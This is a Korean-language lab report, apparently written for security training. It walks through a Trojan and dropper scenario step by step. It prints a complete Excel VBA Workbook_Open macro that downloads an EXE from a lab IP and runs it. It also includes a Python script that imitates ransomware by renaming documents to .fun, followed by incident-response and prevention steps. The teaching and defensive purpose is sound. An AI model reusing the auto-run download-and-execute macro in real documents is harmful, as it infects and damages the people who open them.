악성코드 실습 – 교육용 트로이목마 공격 시나리오
운영체제제
| 운영체제 | IP |
|---|---|
| Ubuntu 24.04 | 192.168.100.32(외부망), 192.168.56.1(VMNet2) |
| Window 10 Home | 192.168.56.3(VMNet2) |
Ubuntu 24.04 (192.168.100.32(외부망), 192.168.56.1 (VMNet내부망)

Windows10 Home (192.168.56.3(VMNet2))

1. 개요
악성코드 정의
이론적 정의
악성코드는 악성 소프트웨어(Malicious Software)의 줄임말
- 컴퓨터 작동을 방해
- 민감한 정보를 수집
- 개인 컴퓨터에 불법 접근
실질적의
- 심리적, 실질적인 피해를 입히는 컴퓨터 프로그램 또는 실행 가능한 코드
- 개발자의 실수로 포함된 버그는 제외되나 광범위한 피해가 발생할 경우 해당하기도 함
악성코드 큰 범주
- 바이러스 (Virus) 다른 정상 파일(프로그램, 문서 등)에 자신을 붙여 전파되는 코드. 숙주 파일이 실행될 때 활성화되어 숙주를 변형하거나 추가적인 악성 행위를 수행함.
- 웜(Worm) 스스로 네트워크나 시스템 취약점/서비스를 통해 독립적으로 복제·전파되는 프로그램. 사용자 개입 없이 확산되며 네트워크 대역폭/자원 고갈을 일으키기도 함.
- 트로이목마(Trojan / Trojan Horse) 유용한(또는 무해한) 프로그램으로 가장해 배포되며, 설치되면 백그라운드에서 원격 제어(RAT), 정보 유출, 다운로더 등 악성 기능을 수행함. 스스로는 보통 복제 기능을 갖지 않음.
- PUP 사용자가 원치 않는 기능(광고 삽입, 브라우저 변경 등)을 수행하는 프로그램. 법적·기술적으로 완전한 악성코드는 아닐 수 있으나 보안상 문제를 일으킬 수 있음.
엑셀 경유지 AND 유포지

Option Explicit
' 변수 선언 강제 (오타·암묵적 Variant 방지)
' ===============================
' [Windows API 선언부]
' 바탕화면(월페이퍼) 변경을 위해 SystemParametersInfo API 사용
' 32비트 / 64비트 Office 모두 호환되도록 분기 처리
' ===============================
#If Win64 Then
' 64비트 Office용 API 선언
Private Declare PtrSafe Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" _
(ByVal uAction As Long, _
ByVal uParam As Long, _
ByVal lpvParam As String, _
ByVal fuWinIni As Long) As Long
#Else
' 32비트 Office용 API 선언
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" _
(ByVal uAction As Long, _
ByVal uParam As Long, _
ByVal lpvParam As String, _
ByVal fuWinIni As Long) As Long
#End If
' ===============================
' [SystemParametersInfo 상수 정의]
' ===============================
Private Const SPI_SETDESKWALLPAPER = 20 ' 바탕화면 이미지 설정
Private Const SPIF_UPDATEINIFILE = &H1 ' 설정을 INI 파일에 저장
Private Const SPIF_SENDWININICHANGE = &H2 ' 변경 사항을 시스템 전체에 알림
' =====================================================
' [Workbook_Open 이벤트]
' 엑셀 파일이 열릴 때 자동으로 실행되는 매크로
' =====================================================
Private Sub Workbook_Open()
' -------------------------------
' 변수 선언
' -------------------------------
Dim exeURL As String ' 다운로드할 실행 파일 URL
Dim exePath As String ' 실행 파일 저장 경로 (TEMP)
Dim imgURL As String ' 다운로드할 이미지 URL
Dim imgPath As String ' 이미지 저장 경로 (TEMP)
Dim objXMLHTTP As Object ' HTTP 요청 객체
Dim objADOStream As Object ' 바이너리 파일 저장용 Stream 객체
' -------------------------------
' URL 및 저장 경로 설정
' -------------------------------
exeURL = "<http://192.168.56.2:8080/lock_fun.exe>" ' 실행 파일 다운로드 주소
exePath = Environ("TEMP") & "\\lock_fun.exe" ' TEMP 폴더에 저장
imgURL = "<http://192.168.56.2:8080/inbeomgood2.jpg>" ' 이미지 다운로드 주소
imgPath = Environ("TEMP") & "\\inbeomgood2.jpg" ' TEMP 폴더에 저장
' -------------------------------
' HTTP 통신 및 파일 저장 객체 생성
' -------------------------------
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
Set objADOStream = CreateObject("ADODB.Stream")
' =====================================================
' [1] EXE 파일 다운로드 및 실행
' =====================================================
objXMLHTTP.Open "GET", exeURL, False ' 동기 방식 GET 요청
objXMLHTTP.Send
If objXMLHTTP.Status = 200 Then
' 다운로드 성공 시
objADOStream.Open
objADOStream.Type = 1 ' 1 = Binary 데이터
objADOStream.Write objXMLHTTP.responseBody
objADOStream.SaveToFile exePath, 2 ' 2 = 동일 파일 있으면 덮어쓰기
objADOStream.Close
' 다운로드된 실행 파일 실행
Shell exePath, vbNormalFocus
Else
' 다운로드 실패 시 메시지 출력
MsgBox "파일 다운로드에 실패했습니다. HTTP 상태 코드: " & objXMLHTTP.Status, vbExclamation
End If
' =====================================================
' [2] 이미지 파일 다운로드 및 바탕화면 변경
' =====================================================
objXMLHTTP.Open "GET", imgURL, False
objXMLHTTP.Send
If objXMLHTTP.Status = 200 Then
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.responseBody
objADOStream.SaveToFile imgPath, 2
objADOStream.Close
' 바탕화면 이미지 변경
' SPI_SETDESKWALLPAPER = 20
' 플래그 값 3 = UPDATEINIFILE + SENDWININICHANGE
SystemParametersInfo 20, 0, imgPath, 3
End If
' -------------------------------
' 객체 정리 (메모리 해제)
' -------------------------------
Set objADOStream = Nothing
Set objXMLHTTP = Nothing
End Sub
악성저장소 교육용 데모버전 (실제 EXE 호스버
#!/usr/bin/env python3
"""
lock_fun.py - demo safe locker that renames target extensions to .fun and saves mapping
"""
import json
from pathlib import Path
import shutil
DEFAULT_FOLDER = Path(r"C:\\Users\\admin\\Desktop")
TARGET_EXTS = [".docx", ".doc", ".xlsx", ".xls", ".pptx", ".ppt", ".pdf", ".txt", ".csv", ".jpg", ".jpeg", ".png"]
MAP_FILE = DEFAULT_FOLDER / "rename_map.json"
BACKUP_FOLDER = DEFAULT_FOLDER / "backup_demo"
def main(target_folder: Path):
target_folder = target_folder.expanduser().resolve()
if not str(target_folder).startswith(str(Path.home())):
print("ERROR: target folder must be inside the user's home directory for safety")
return
if not target_folder.exists():
print("ERROR: target folder does not exist:", target_folder)
return
mapping = {}
count = 0
BACKUP_FOLDER.mkdir(parents=True, exist_ok=True)
for p in target_folder.iterdir():
if p.is_file() and p.suffix.lower() in TARGET_EXTS:
new_name = p.with_suffix(p.suffix + ".fun")
try:
# backup original first
backup_path = BACKUP_FOLDER / p.name
if not backup_path.exists():
shutil.copy2(p, backup_path)
p.rename(new_name)
mapping[str(new_name.name)] = str(p.name)
count += 1
except Exception as e:
print("Failed to rename", p, "->", new_name, ":", e)
if count > 0:
with open(MAP_FILE, "w", encoding="utf-8") as f:
json.dump(mapping, f, indent=2, ensure_ascii=False)
print(f"Done. {count} files renamed to .fun (map stored at {MAP_FILE})")
if __name__ == "__main__":
import sys
folder = Path(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_FOLDER
print("Target folder:", folder)
ans = input("Proceed to rename target extensions to .fun in the above folder? (yes/no) ")
if ans.lower() in ("y","yes"):
main(folder)
else:
print("Aborted by user.")
위 교육용 데모버전 분류
- 드롭퍼(Dropper), 트로이목마(Trojan) 엑셀 메크로를 통해서 원격에서 EXE를 다운하는 드롭퍼 실제 엑셀 VBA에 숨어있는 exe 를 통해 감염 엑셀(유인책), EXE(엑셀에 숨어있는 실질적인 트로이목마)
2. 사고 사례 분석
BPFDoor
- SKT 해킹 사건에 사용된 악성코드로
3. 시연
시나리오
- 직원 A가 첨부된 xlsx 파일을 실행 → 새로운 프로세스가 외부 IP로 접속 시도 (드라이브-바이-다운로드)

<aside> 💡
이메일에 첨부된 메일 다운로드
</aside>

<aside> 💡
엑셀 실행
</aside>

<aside> 💡
엑셀 내 VAB 코드 (EXE 파일 자동 다운로드 후 자동실행)
</aside>

<aside> 💡
정상적인 문서 파일들
</aside>

<aside> 💡
정상적인 문서들이 .fun 이라는 이상한 파일명으로 변경됨 (랜섬웨어 감염)
</aside>
실행영상
교육용 프로그램으로 악의적인 실행UAC로 막아놓음 (실행시 Yes/No 묻기)
실행 시 파일들이 .fun으로 변경됨
악성코드 저장소 (Ubuntu) 192.168.56.1

바이러스토탈 검색결과

<aside> 💡
해당 EXE를 바이러스토탈에 검색 결과 백신 72개 중 6개에 탐지된 것을 확인할 수 있다.
</aside>
침해 발생 시 일반적 조치 절차
- 랜(LAN)선 제거 IP나 포트를 통해서 대량 감염되는 Worm 같은 경우 네트워크 차단으로 획산을 방지
- 최대절전 모드 실행 컴퓨터에 악성행위가 일어나면 RAM 프로세스에 등록되고 실행되어 WIndows 이벤트 로그 데이터에 남는다 컴퓨터 RAM 데이터는 휘발성이기 때문에 컴퓨터 종료시 증거, 로그가 소멸됨 이 후 증거나, 로그 수집 포랜식을 위해서 컴퓨터에 필요한 부분에만 전력을 제공하여 프로세스 자체를 동결하는 최대절전 모드를 실행한다
- 침해사고 타임라인 침해사고 시 감염된 시간, 변경된 화면, 악성파일, 어떤 행위를 했을 때 사고가 일어났는지 이렇게 사용한 이메일 로그, 실행한 파일, 시간 대 타임라인이 중요하다 이것을 기반으로 침해사고 대처를 위한 기반이된다
- 보안담당 긴급연락 1차 분석 보안관제, 2차 분석 침해사고대응, 3차 외부 악성코드 분석전문가
4. 예방 방안
- 네트워크/파일 유출 차단 : Windows 방화벽 켜기 (보안감사로 한 번씩 스크립트로 점검함)
- 사용자 권한 최소화 : UAC 수준 유지(높음), 관리자 권한으로 평소 작업금지
- 문서 실행 통제 : 엑셀(Office) 매크로 자동 실행 금지
- 엔트포인트 보호 윈도우 실시간 방화벽, 알약 백신프로그램, EPP
- 회사 NAS 서버에 중요자료 백업 일반사용자 NAS에 자료 백업 관제는 김선민 과장님 자리 D 드라이브에 주간 단위로 백업중
5. 침해 발생 시 보안관제 조치 절차
SIEM 관제 기준
- SIEM 알람 확인 및 로그 검토
- 이벤트 진위 확인 (False Positive 구분)
- 공격 대상 시스템, 계정, IP 범위 확인
1차대응
- 네트워크 단에서 시스템 격리
- 공격에 사용된 계정 잠금
- 방화벽/IPS 룰 적용으로 IP 차단
- 관련 로그 원본 확보 및 보존
- 상급자/보안팀 보고
EDR 도입 후 엔트포인트 대응
- 실시간 대응
- 감염된 단말 실시간 격리
- 악성 프로세스 종료
- 악성 파일 삭제 및 차단
- 행위 기반 대응
- 레지스트리, 스케줄러, 자동 실행 항목 제거
- 공격 흔적 수집 및 원격 포렌식
- 의심 행위 실시간 모니터링
- 확산 방지
- 동일 악성코드 감염 단말 탐지 후 자동 격리
- 내부 네트워크 전파 차단
6. 결론 및 Q&A
악성코드는 당하고 나서 대처하기는 아주 어렵다는 것을 알 수 있다.
그래서 악성코드를 대처하는 방법은 예방이 최선책이라는 것이 중요하다는 것을 실감했다.